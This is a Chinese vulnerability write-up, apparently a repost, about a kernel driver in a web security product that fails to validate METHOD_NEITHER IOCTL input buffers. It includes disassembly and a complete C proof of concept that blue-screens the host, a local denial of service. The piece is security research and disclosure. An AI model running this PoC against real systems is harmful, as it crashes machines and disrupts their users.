网站地图    收藏   

主页 > 后端 > 网站安全 >

某网站安全检测系统的一个鸡肋0Day - 网站安全

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] 今天在微博上看到有位前辈推荐了一个所谓驱动级别的WEB安全检测系统,疑心其是不是在内核来实现WAF的功能,于是就下载下来看了看。发现这个系统只有一个驱动模块,拿IDA分析了一...

 

今天在微博上看到有位前辈推荐了一个所谓驱动级别的WEB安全检测系统,疑心其是不是在内核来实现WAF的功能,于是就下载下来看了看。发现这个系统只有一个驱动模块,拿IDA分析了一下感觉其它只是一个NDIS过滤驱动——实现的一般的防火墙功能。并不是像我想得那样把针对XSS,SQL Injection这类攻击的防御放在驱动层来实现。想到自己工具箱里有驱动漏洞挖掘的神器ioctl_fuzzer,反正闲着也是闲着,就抄起家伙对其一通猛扫,结果虚拟机就BSOD了

\

随后重新启动虚拟机,并挂上Windbg,再次狂扫一通之后Windbg就捕获到了一个内存访问异常。结合Windbg提供的异常信息,很容易分析清楚这个鸡肋0Day的成因——

这个驱动模块和ring 3层应用程序通信时,交换数据的缓冲方式是非常不靠谱的METHOD_NEITHER,DDK中对这种缓冲方式的描述如下:

"

METHOD_BUFFER

 The input buffer's address is supplied byParameters.DeviceIoControl.Type3InputBufferin the driver's IO_STACK_LOCATION structure, and the output buffer's address is specified byIrp->UserBuffer.

"

结合WRK来看,如果使用这种极不靠谱的缓冲方式,IopXxxControlFile在构造IRP时也是非常不负责任的,你看——

case METHOD_NEITHER:

        //

        // For this case, do nothing.  Everything is up to the driver.

        // Simply give the driver a copy of the caller's parameters and

        // let the driver do everything itself.

        //

        irp->Flags = 0;

        irp->UserBuffer = OutputBuffer;

        irpSp->Parameters.DeviceIoControl.Type3InputBuffer = InputBuffer;

注释里说的清清楚楚"Everything is up to the driver"。好吧,如果写Driver的那个程序员也很不负责任,不对这个InputBuffer做有效的检验,那攻击者就有福了

.text:F8643BED                mov     eax, [ebp+Irp]

.text:F8643BF0                 mov     eax, [eax+60h]        ;EAX points to the IO_STACK_LOCATION

.text:F8643BF3                 mov     edx, [eax+10h]        ;EDX equals the irpSp->Parameters.DeviceIoControl.Type3InputBuffer

随后有多处从EDX所指向内存读取数据的操作"movzx   eax, word ptr [edx]",但都无一例外的没有多内存地址的有效性做检验(最基本的cmp或者test都没有,更不用说ProbeForRead了)。所以如果传入一个很猥琐的地址,BSOD就是必须得了。以下是一个可造成本地拒绝服务的POC

#include <windows.h>

#include <stdio.h>

#define DEVICE_NAME                                   "\\\\.\\WebFireWall"

#define DEVICE_IOCONTROL_CODE          0x0012c84f

#define MALICIOUS_ADDRESS                     0x0c0c0c0c

int main()

{

HANDLE hDev=INVALID_HANDLE_VALUE;

int    nLen=0;

BOOL   bRet=FALSE;

DWORD  dwBytCnt=0;

     hDev=CreateFile(DEVICE_NAME,

                                  GENERIC_ALL,

                                  FILE_SHARE_READ|FILE_SHARE_WRITE,

                                  NULL,

                                  OPEN_EXISTING,

                                  FILE_ATTRIBUTE_NORMAL,   NULL);

 

     if (INVALID_HANDLE_VALUE==hDev){

                printf("[*]CreateFile Error Code:%d\r\n",GetLastError());

                 goto _EXIT;

      }

    bRet=DeviceIoControl(hDev,DEVICE_IOCONTROL_CODE,                 

                                                    (LPVOID)MALICIOUS_ADDRESS ,

                                          0x36,

                                         (LPVOID)MALICIOUS_ADDRESS,

                                         0x60,

                                         &dwBytCnt,NULL);

    if (false==bRet){

                printf("[*]DeviceIoControl Error Code:%d\r\n",GetLastError());

    }

    else{

                printf("[*]Success!\r\n");

    }

_EXIT:

    if (INVALID_HANDLE_VALUE!=hDev){

                 CloseHandle(hDev);

    }

    getchar();

    return 0;

}

\

作者:K_K

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论